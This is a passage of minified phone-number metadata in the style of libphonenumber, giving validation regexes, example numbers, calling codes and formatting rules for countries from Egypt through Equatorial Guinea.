,,,,,,,,[-1]],,,[,,"800[2-9]\\d{3}",,,,,,,[7]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],EG:[,[,,"[189]\\d{8,9}|[24-6]\\d{8}|[135]\\d{7}",,,,,,,[8,9,10],[6,7]],[,,"13[23]\\d{6}|(?:15|57)\\d{6,7}|(?:2\\d|3|4[05-8]|5[05]|6[24-689]|8[2468]|9[235-7])\\d{7}",,,,"234567890",,,[8,9],[6,7]],[,,"1[0-25]\\d{8}",,,,"1001234567",,,[10]],[,,"800\\d{7}",,,,"8001234567",,,[10]],[,,"900\\d{7}",,,,"9001234567",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"EG",20,"00","0",,,"0",,,,[[,"(\\d)(\\d{7,8})","$1 $2",
["[23]"],"0$1"],[,"(\\d{2})(\\d{6,7})","$1 $2",["1[35]|[4-6]|8[2468]|9[235-7]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[89]"],"0$1"],[,"(\\d{2})(\\d{8})","$1 $2",["1"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],EH:[,[,,"[5-8]\\d{8}",,,,,,,[9]],[,,"528[89]\\d{5}",,,,"528812345"],[,,"(?:6(?:[0-79]\\d|8[0-247-9])|7(?:[0167]\\d|2[0-4]|5[01]|8[0-3]))\\d{6}",,,,"650123456"],[,,"80[0-7]\\d{6}",,,,"801234567"],[,,"89\\d{7}",,,,"891234567"],[,,,,,,,,,[-1]],[,,,
,,,,,,[-1]],[,,"(?:592(?:4[0-2]|93)|80[89]\\d\\d)\\d{4}",,,,"592401234"],"EH",212,"00","0",,,"0",,,,,,[,,,,,,,,,[-1]],,"528[89]",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],ER:[,[,,"[178]\\d{6}",,,,,,,[7],[6]],[,,"(?:1(?:1[12568]|[24]0|55|6[146])|8\\d\\d)\\d{4}",,,,"8370362",,,,[6]],[,,"(?:17[1-3]|7\\d\\d)\\d{4}",,,,"7123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"ER",291,"00","0",,,"0",,,,[[,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["[178]"],"0$1"]],,[,
,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],ES:[,[,,"[5-9]\\d{8}",,,,,,,[9]],[,,"96906(?:0[0-8]|1[1-9]|[2-9]\\d)\\d\\d|9(?:69(?:0[0-57-9]|[1-9]\\d)|73(?:[0-8]\\d|9[1-9]))\\d{4}|(?:8(?:[1356]\\d|[28][0-8]|[47][1-9])|9(?:[135]\\d|[268][0-8]|4[1-9]|7[124-9]))\\d{6}",,,,"810123456"],[,,"(?:590[16]00\\d|9(?:6906(?:09|10)|7390\\d\\d))\\d\\d|(?:6\\d|7[1-48])\\d{7}",,,,"612345678"],[,,"[89]00\\d{6}",,,,"800123456"],[,,"80[367]\\d{6}",,,,"803123456"],[,,"90[12]\\d{6}",,,,"901123456"],
[,,"70\\d{7}",,,,"701234567"],[,,,,,,,,,[-1]],"ES",34,"00",,,,,,,,[[,"(\\d{4})","$1",["905"]],[,"(\\d{6})","$1",["[79]9"]],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[89]00"]],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[5-9]"]]],[[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[89]00"]],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[5-9]"]]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"51\\d{7}",,,,"511234567"],,,[,,,,,,,,,[-1]]],ET:[,[,,"(?:11|[2-579]\\d)\\d{7}",,,,,,,[9],[7]],[,,"11667[01]\\d{3}|(?:11(?:1(?:1[124]|2[2-7]|3[1-5]|5[5-8]|8[6-8])|2(?:13|3[6-8]|5[89]|7[05-9]|8[2-6])|3(?:2[01]|3[0-289]|4[1289]|7[1-4]|87)|4(?:1[69]|3[2-49]|4[0-3]|6[5-8]|7\\d)|5(?:1[578]|44|5[0-4])|6(?:1[578]|2[69]|39|4[5-7]|5[0-5]|6[0-59]|8[015-8]))|2(?:2(?:11[1-9]|22[0-7]|33\\d|44[1467]|66[1-68])|5(?:11[124-6]|33[2-8]|44[1467]|55[14]|66[1-3679]|77[124-79]|880))|3(?:3(?:11[0-46-8]|(?:22|55)[0-6]|33[0134689]|44[04]|66[01467])|4(?:44[0-8]|55[0-69]|66[0-3]|77[1-5]))|4(?:6(?:119|22[0-24-7]|33[1-5]|44[13-69]|55[14-689]|660|88[1-4])|7(?:(?:11|22)[1-9]|33[13-7]|44[13-6]|55[1-689]))|5(?:7(?:227|55[05]|(?:66|77)[14-8])|8(?:11[149]|22[013-79]|33[0-68]|44[013-8]|550|66[1-5]|77\\d)))\\d{4}",
,,,"111112345",,,,[7]],[,,"700[1-9]\\d{5}|(?:7(?:0[1-9]|1[0-8]|22|77|86|99)|9\\d\\d)\\d{6}",,,,"911234567"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"ET",251,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[1-579]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],FI:[,[,,"[1-35689]\\d{4}|7\\d{10,11}|(?:[124-7]\\d|3[0-46-9])\\d{8}|[1-9]\\d{5,8}",,,,,,,[5,6,7,8,9,10,11,12]],[,,"1[35-7][1-8]\\d{3,6}|(?:1[49][1-8]|[23568][1-8]\\d|9(?:00|[1-8]\\d))\\d{2,6}",
,,,"131234567",,,[5,6,7,8,9]],[,,"4946\\d{2,6}|(?:4[0-8]|50)\\d{4,8}",,,,"412345678",,,[6,7,8,9,10]],[,,"800\\d{4,6}",,,,"800123456",,,[7,8,9]],[,,"[67]00\\d{5,6}",,,,"600123456",,,[8,9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"FI",358,"00|99(?:[01469]|5(?:[14]1|3[23]|5[59]|77|88|9[09]))","0",,,"0",,"00",,[[,"(\\d{5})","$1",["75[12]"],"0$1"],[,"(\\d{5})","$1",["20[2-59]"],"0$1"],[,"(\\d{6})","$1",["11"]],[,"(\\d{3})(\\d{3,7})","$1 $2",["(?:[1-3]0|[68])0|70[07-9]"],"0$1"],[,"(\\d{2})(\\d{4,8})",
"$1 $2",["[14]|2[09]|50|7[135]"],"0$1"],[,"(\\d{2})(\\d{6,10})","$1 $2",["7"],"0$1"],[,"(\\d)(\\d{4,9})","$1 $2",["(?:1[49]|[2568])[1-8]|3(?:0[1-9]|[1-9])|9"],"0$1"]],[[,"(\\d{5})","$1",["20[2-59]"],"0$1"],[,"(\\d{3})(\\d{3,7})","$1 $2",["(?:[1-3]0|[68])0|70[07-9]"],"0$1"],[,"(\\d{2})(\\d{4,8})","$1 $2",["[14]|2[09]|50|7[135]"],"0$1"],[,"(\\d{2})(\\d{6,10})","$1 $2",["7"],"0$1"],[,"(\\d)(\\d{4,9})","$1 $2",["(?:1[49]|[2568])[1-8]|3(?:0[1-9]|[1-9])|9"],"0$1"]],[,,,,,,,,,[-1]],1,"1[03-79]|[2-9]",[,
,"20(?:2[023]|9[89])\\d{1,6}|(?:60[12]\\d|7099)\\d{4,5}|(?:606|7(?:0[78]|1|3\\d))\\d{7}|(?:[1-3]00|7(?:0[1-5]\\d\\d|5[03-9]))\\d{3,7}"],[,,"20\\d{4,8}|60[12]\\d{5,6}|7(?:099\\d{4,5}|5[03-9]\\d{3,7})|20[2-59]\\d\\d|(?:606|7(?:0[78]|1|3\\d))\\d{7}|(?:10|29|3[09]|70[1-5]\\d)\\d{4,8}",,,,"10112345"],,,[,,,,,,,,,[-1]]],FJ:[,[,,"45\\d{5}|(?:0800\\d|[235-9])\\d{6}",,,,,,,[7,11]],[,,"603\\d{4}|(?:3[0-5]|6[25-7]|8[58])\\d{5}",,,,"3212345",,,[7]],[,,"(?:[279]\\d|45|5[01568]|8[034679])\\d{5}",,,,"7012345",,
,[7]],[,,"0800\\d{7}",,,,"08001234567",,,[11]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"FJ",679,"0(?:0|52)",,,,,,"00",,[[,"(\\d{3})(\\d{4})","$1 $2",["[235-9]|45"]],[,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["0"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],FK:[,[,,"[2-7]\\d{4}",,,,,,,[5]],[,,"[2-47]\\d{4}",,,,"31234"],[,,"[56]\\d{4}",,,,"51234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"FK",500,"00",,,,,,,,,,
[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],FM:[,[,,"(?:[39]\\d\\d|820)\\d{4}",,,,,,,[7]],[,,"31(?:00[67]|208|309)\\d\\d|(?:3(?:[2357]0[1-9]|602|804|905)|(?:820|9[2-6]\\d)\\d)\\d{3}",,,,"3201234"],[,,"31(?:00[67]|208|309)\\d\\d|(?:3(?:[2357]0[1-9]|602|804|905)|(?:820|9[2-7]\\d)\\d)\\d{3}",,,,"3501234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"FM",691,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[389]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,
[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],FO:[,[,,"[2-9]\\d{5}",,,,,,,[6]],[,,"(?:20|[34]\\d|8[19])\\d{4}",,,,"201234"],[,,"(?:[27][1-9]|5\\d|9[16])\\d{4}",,,,"211234"],[,,"80[257-9]\\d{3}",,,,"802123"],[,,"90(?:[13-5][15-7]|2[125-7]|9\\d)\\d\\d",,,,"901123"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"(?:6[0-36]|88)\\d{4}",,,,"601234"],"FO",298,"00",,,,"(10(?:01|[12]0|88))",,,,[[,"(\\d{6})","$1",["[2-9]"],,"$CC $1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],FR:[,[,,"[1-9]\\d{8}",
,,,,,,[9]],[,,"(?:26[013-9]|59[1-35-9])\\d{6}|(?:[13]\\d|2[0-57-9]|4[1-9]|5[0-8])\\d{7}",,,,"123456789"],[,,"(?:6(?:[0-24-8]\\d|3[0-8]|9[589])|7[3-9]\\d)\\d{6}",,,,"612345678"],[,,"80[0-5]\\d{6}",,,,"801234567"],[,,"836(?:0[0-36-9]|[1-9]\\d)\\d{4}|8(?:1[2-9]|2[2-47-9]|3[0-57-9]|[569]\\d|8[0-35-9])\\d{6}",,,,"891123456"],[,,"8(?:1[01]|2[0156]|4[024]|84)\\d{6}",,,,"884012345"],[,,,,,,,,,[-1]],[,,"9\\d{8}",,,,"912345678"],"FR",33,"00","0",,,"0",,,,[[,"(\\d{4})","$1",["10"]],[,"(\\d{3})(\\d{3})","$1 $2",
["1"]],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["8"],"0 $1"],[,"(\\d)(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4 $5",["[1-79]"],"0$1"]],[[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["8"],"0 $1"],[,"(\\d)(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4 $5",["[1-79]"],"0$1"]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"80[6-9]\\d{6}",,,,"806123456"],,,[,,,,,,,,,[-1]]],GA:[,[,,"(?:[067]\\d|11)\\d{6}|[2-7]\\d{6}",,,,,,,[7,8]],[,,"[01]1\\d{6}",,,,"01441234",,,[8]],[,,"(?:(?:0[2-7]|7[467])\\d|6(?:0[0-4]|10|[256]\\d))\\d{5}|[2-7]\\d{6}",
,,,"06031234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"GA",241,"00",,,,"0(11\\d{6}|60\\d{6}|61\\d{6}|6[256]\\d{6}|7[467]\\d{6})","$1",,,[[,"(\\d)(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[2-7]"],"0$1"],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["0"]],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["11|[67]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],GB:[,[,,"[1-357-9]\\d{9}|[18]\\d{8}|8\\d{6}",,,,,,,[7,9,10],
[4,5,6,8]],[,,"(?:1(?:1(?:3(?:[0-58]\\d\\d|73[0-35])|4(?:(?:[0-5]\\d|70)\\d|69[7-9])|(?:(?:5[0-26-9]|[78][0-49])\\d|6(?:[0-4]\\d|50))\\d)|(?:2(?:(?:0[024-9]|2[3-9]|3[3-79]|4[1-689]|[58][02-9]|6[0-47-9]|7[013-9]|9\\d)\\d|1(?:[0-7]\\d|8[0-3]))|(?:3(?:0\\d|1[0-8]|[25][02-9]|3[02-579]|[468][0-46-9]|7[1-35-79]|9[2-578])|4(?:0[03-9]|[137]\\d|[28][02-57-9]|4[02-69]|5[0-8]|[69][0-79])|5(?:0[1-35-9]|[16]\\d|2[024-9]|3[015689]|4[02-9]|5[03-9]|7[0-35-9]|8[0-468]|9[0-57-9])|6(?:0[034689]|1\\d|2[0-35689]|[38][013-9]|4[1-467]|5[0-69]|6[13-9]|7[0-8]|9[0-24578])|7(?:0[0246-9]|2\\d|3[0236-8]|4[03-9]|5[0-46-9]|6[013-9]|7[0-35-9]|8[024-9]|9[02-9])|8(?:0[35-9]|2[1-57-9]|3[02-578]|4[0-578]|5[124-9]|6[2-69]|7\\d|8[02-9]|9[02569])|9(?:0[02-589]|[18]\\d|2[02-689]|3[1-57-9]|4[2-9]|5[0-579]|6[2-47-9]|7[0-24578]|9[2-57]))\\d)\\d)|2(?:0[013478]|3[0189]|4[017]|8[0-46-9]|9[0-2])\\d{3})\\d{4}|1(?:2(?:0(?:46[1-4]|87[2-9])|545[1-79]|76(?:2\\d|3[1-8]|6[1-6])|9(?:7(?:2[0-4]|3[2-5])|8(?:2[2-8]|7[0-47-9]|8[3-5])))|3(?:6(?:38[2-5]|47[23])|8(?:47[04-9]|64[0157-9]))|4(?:044[1-7]|20(?:2[23]|8\\d)|6(?:0(?:30|5[2-57]|6[1-8]|7[2-8])|140)|8(?:052|87[1-3]))|5(?:2(?:4(?:3[2-79]|6\\d)|76\\d)|6(?:26[06-9]|686))|6(?:06(?:4\\d|7[4-79])|295[5-7]|35[34]\\d|47(?:24|61)|59(?:5[08]|6[67]|74)|9(?:55[0-4]|77[23]))|7(?:26(?:6[13-9]|7[0-7])|(?:442|688)\\d|50(?:2[0-3]|[3-68]2|76))|8(?:27[56]\\d|37(?:5[2-5]|8[239])|843[2-58])|9(?:0(?:0(?:6[1-8]|85)|52\\d)|3583|4(?:66[1-8]|9(?:2[01]|81))|63(?:23|3[1-4])|9561))\\d{3}",
,,,"1212345678",,,[9,10],[4,5,6,7,8]],[,,"7(?:457[0-57-9]|700[01]|911[028])\\d{5}|7(?:[1-3]\\d\\d|4(?:[0-46-9]\\d|5[0-689])|5(?:0[0-8]|[13-9]\\d|2[0-35-9])|7(?:0[1-9]|[1-7]\\d|8[02-9]|9[0-689])|8(?:[014-9]\\d|[23][0-8])|9(?:[024-9]\\d|1[02-9]|3[0-689]))\\d{6}",,,,"7400123456",,,[10]],[,,"80[08]\\d{7}|800\\d{6}|8001111",,,,"8001234567"],[,,"(?:8(?:4[2-5]|7[0-3])|9(?:[01]\\d|8[2-49]))\\d{7}|845464\\d",,,,"9012345678",,,[7,10]],[,,,,,,,,,[-1]],[,,"70\\d{8}",,,,"7012345678",,,[10]],[,,"56\\d{8}",,,,"5612345678",
,,[10]],"GB",44,"00","0"," x",,"0",,,,[[,"(\\d{3})(\\d{4})","$1 $2",["800","8001","80011","800111","8001111"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3",["845","8454","84546","845464"],"0$1"],[,"(\\d{3})(\\d{6})","$1 $2",["800"],"0$1"],[,"(\\d{5})(\\d{4,5})","$1 $2",["1(?:38|5[23]|69|76|94)","1(?:(?:38|69)7|5(?:24|39)|768|946)","1(?:3873|5(?:242|39[4-6])|(?:697|768)[347]|9467)"],"0$1"],[,"(\\d{4})(\\d{5,6})","$1 $2",["1(?:[2-69][02-9]|[78])"],"0$1"],[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["[25]|7(?:0|6[02-9])",
"[25]|7(?:0|6(?:[03-9]|2[356]))"],"0$1"],[,"(\\d{4})(\\d{6})","$1 $2",["7"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[1389]"],"0$1"]],,[,,"76(?:464|652)\\d{5}|76(?:0[0-28]|2[356]|34|4[01347]|5[49]|6[0-369]|77|8[14]|9[139])\\d{6}",,,,"7640123456",,,[10]],1,,[,,,,,,,,,[-1]],[,,"(?:3[0347]|55)\\d{8}",,,,"5512345678",,,[10]],,,[,,,,,,,,,[-1]]],GD:[,[,,"(?:473|[58]\\d\\d|900)\\d{7}",,,,,,,[10],[7]],[,,"473(?:2(?:3[0-2]|69)|3(?:2[89]|86)|4(?:[06]8|3[5-9]|4[0-4]|5[579]|73|90)|63[68]|7(?:58|84)|800|938)\\d{4}",
,,,"4732691234",,,,[7]],[,,"473(?:4(?:0[2-79]|1[04-9]|2[0-5]|49|5[68])|5(?:2[01]|3[3-8])|901)\\d{4}",,,,"4734031234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002123456"],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,,,,,,,,
[-1]],"GD",1,"011","1",,,"([2-9]\\d{6})$|1","473$1",,,,,[,,,,,,,,,[-1]],,"473",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],GE:[,[,,"(?:[3-57]\\d\\d|800)\\d{6}",,,,,,,[9],[6,7]],[,,"(?:3(?:[256]\\d|4[124-9]|7[0-4])|4(?:1\\d|2[2-7]|3[1-79]|4[2-8]|7[239]|9[1-7]))\\d{6}",,,,"322123456",,,,[6,7]],[,,"5(?:(?:(?:0555|1(?:[17]77|555))[5-9]|757(?:7[7-9]|8[01]))\\d|22252[0-4])\\d\\d|(?:5(?:0(?:0(?:0\\d|11|22|3[0-6]|44|5[05]|77|88|9[09])|111|22[02]|77\\d)|1(?:1(?:[03][01]|[124]\\d)|4\\d\\d)|[23]555|4(?:4\\d\\d|555)|5(?:[0157-9]\\d\\d|200)|6[89]\\d\\d|7(?:[0147-9]\\d\\d|5(?:00|[57]5))|8(?:0(?:[018]\\d|2[0-4])|5(?:55|8[89])|8(?:55|88))|9(?:090|[1-35-9]\\d\\d))|790\\d\\d)\\d{4}|5(?:0(?:0[17]0|505)|1(?:0[01]0|1(?:07|33|51))|2(?:0[02]0|2[25]2)|3(?:0[03]0|3[35]3)|(?:40[04]|900)0|5222)[0-4]\\d{3}",
,,,"555123456"],[,,"800\\d{6}",,,,"800123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"70[67]\\d{6}",,,,"706123456"],"GE",995,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["70"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["32"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[57]"]],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[348]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,"70[67]\\d{6}"],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],GF:[,[,,"[56]94\\d{6}|(?:80|9\\d)\\d{7}",
,,,,,,[9]],[,,"594(?:[02-49]\\d|1[0-5]|5[6-9]|6[0-3]|80)\\d{4}",,,,"594101234"],[,,"694(?:[0-249]\\d|3[0-8])\\d{4}",,,,"694201234"],[,,"80[0-5]\\d{6}",,,,"800012345"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"9(?:(?:396|76\\d)\\d|476[0-5])\\d{4}",,,,"976012345"],"GF",594,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[56]|9[47]"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[89]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,
,,,,[-1]]],GG:[,[,,"(?:1481|[357-9]\\d{3})\\d{6}|8\\d{6}(?:\\d{2})?",,,,,,,[7,9,10],[6]],[,,"1481[25-9]\\d{5}",,,,"1481256789",,,[10],[6]],[,,"7(?:(?:781|839)\\d|911[17])\\d{5}",,,,"7781123456",,,[10]],[,,"80[08]\\d{7}|800\\d{6}|8001111",,,,"8001234567"],[,,"(?:8(?:4[2-5]|7[0-3])|9(?:[01]\\d|8[0-3]))\\d{7}|845464\\d",,,,"9012345678",,,[7,10]],[,,,,,,,,,[-1]],[,,"70\\d{8}",,,,"7012345678",,,[10]],[,,"56\\d{8}",,,,"5612345678",,,[10]],"GG",44,"00","0",,,"([25-9]\\d{5})$|0","1481$1",,,,,[,,"76(?:464|652)\\d{5}|76(?:0[0-28]|2[356]|34|4[01347]|5[49]|6[0-369]|77|8[14]|9[139])\\d{6}",
,,,"7640123456",,,[10]],,,[,,,,,,,,,[-1]],[,,"(?:3[0347]|55)\\d{8}",,,,"5512345678",,,[10]],,,[,,,,,,,,,[-1]]],GH:[,[,,"(?:[235]\\d{3}|800)\\d{5}",,,,,,,[8,9],[7]],[,,"3082[0-5]\\d{4}|3(?:0(?:[237]\\d|8[01])|[167](?:2[0-6]|7\\d|80)|2(?:2[0-5]|7\\d|80)|3(?:2[0-3]|7\\d|80)|4(?:2[013-9]|3[01]|7\\d|80)|5(?:2[0-7]|7\\d|80)|8(?:2[0-2]|7\\d|80)|9(?:[28]0|7\\d))\\d{5}",,,,"302345678",,,[9],[7]],[,,"(?:2(?:[0346-9]\\d|5[67])|5(?:[03-7]\\d|9[1-9]))\\d{6}",,,,"231234567",,,[9]],[,,"800\\d{5}",,,,"80012345",
,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"GH",233,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[237]|8[0-2]"]],[,"(\\d{3})(\\d{5})","$1 $2",["8"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[235]"],"0$1"]],[[,"(\\d{3})(\\d{5})","$1 $2",["8"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[235]"],"0$1"]],[,,,,,,,,,[-1]],,,[,,"800\\d{5}",,,,,,,[8]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],GI:[,[,,"(?:[25]\\d|60)\\d{6}",,,,,,,[8]],[,,"2190[0-2]\\d{3}|2(?:0(?:[02]\\d|3[01])|16[24-9]|2[2-5]\\d)\\d{4}",
,,,"20012345"],[,,"5251[0-4]\\d{3}|(?:5(?:[146-8]\\d\\d|250)|60(?:1[01]|6\\d))\\d{4}",,,,"57123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"GI",350,"00",,,,,,,,[[,"(\\d{3})(\\d{5})","$1 $2",["2"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],GL:[,[,,"(?:19|[2-689]\\d|70)\\d{4}",,,,,,,[6]],[,,"(?:19|3[1-7]|[68][1-9]|70|9\\d)\\d{4}",,,,"321000"],[,,"[245]\\d{5}",,,,"221234"],[,,"80\\d{4}",,,,"801234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],
[,,,,,,,,,[-1]],[,,"3[89]\\d{4}",,,,"381234"],"GL",299,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3",["19|[2-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],GM:[,[,,"[2-9]\\d{6}",,,,,,,[7]],[,,"(?:4(?:[23]\\d\\d|4(?:1[024679]|[6-9]\\d))|5(?:5(?:3\\d|4[0-7])|6[67]\\d|7(?:1[04]|2[035]|3[58]|48))|8\\d{3})\\d{3}",,,,"5661234"],[,,"(?:[23679]\\d|4[015]|5[0-489])\\d{5}",,,,"3012345"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"GM",
220,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[2-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],GN:[,[,,"722\\d{6}|(?:3|6\\d)\\d{7}",,,,,,,[8,9]],[,,"3(?:0(?:24|3[12]|4[1-35-7]|5[13]|6[189]|[78]1|9[1478])|1\\d\\d)\\d{4}",,,,"30241234",,,[8]],[,,"6[0-356]\\d{7}",,,,"601123456",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"722\\d{6}",,,,"722123456",,,[9]],"GN",224,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["3"]],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})",
"$1 $2 $3 $4",["[67]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],GP:[,[,,"590\\d{6}|(?:69|80|9\\d)\\d{7}",,,,,,,[9]],[,,"590(?:0[1-68]|[14][0-24-9]|2[0-68]|3[1-9]|5[3-579]|[68][0-689]|7[08]|9\\d)\\d{4}",,,,"590201234"],[,,"69(?:0\\d\\d|1(?:2[2-9]|3[0-5])|4(?:0[89]|1[2-6]|9\\d)|6(?:1[016-9]|5[0-4]|[67]\\d))\\d{4}",,,,"690001234"],[,,"80[0-5]\\d{6}",,,,"800012345"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"9(?:(?:39[5-7]|76[018])\\d|475[0-5])\\d{4}",,,,"976012345"],
"GP",590,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[569]"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["8"],"0$1"]],,[,,,,,,,,,[-1]],1,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],GQ:[,[,,"222\\d{6}|(?:3\\d|55|[89]0)\\d{7}",,,,,,,[9]],[,,"33[0-24-9]\\d[46]\\d{4}|3(?:33|5\\d)\\d[7-9]\\d{4}",,,,"333091234"],[,,"(?:222|55\\d)\\d{6}",,,,"222123456"],[,,"80\\d[1-9]\\d{5}",,,,"800123456"],[,,"90\\d[1-9]\\d{5}",,,,"900123456"],[,,,,,,,,,[-1]],[,,,,,,,,
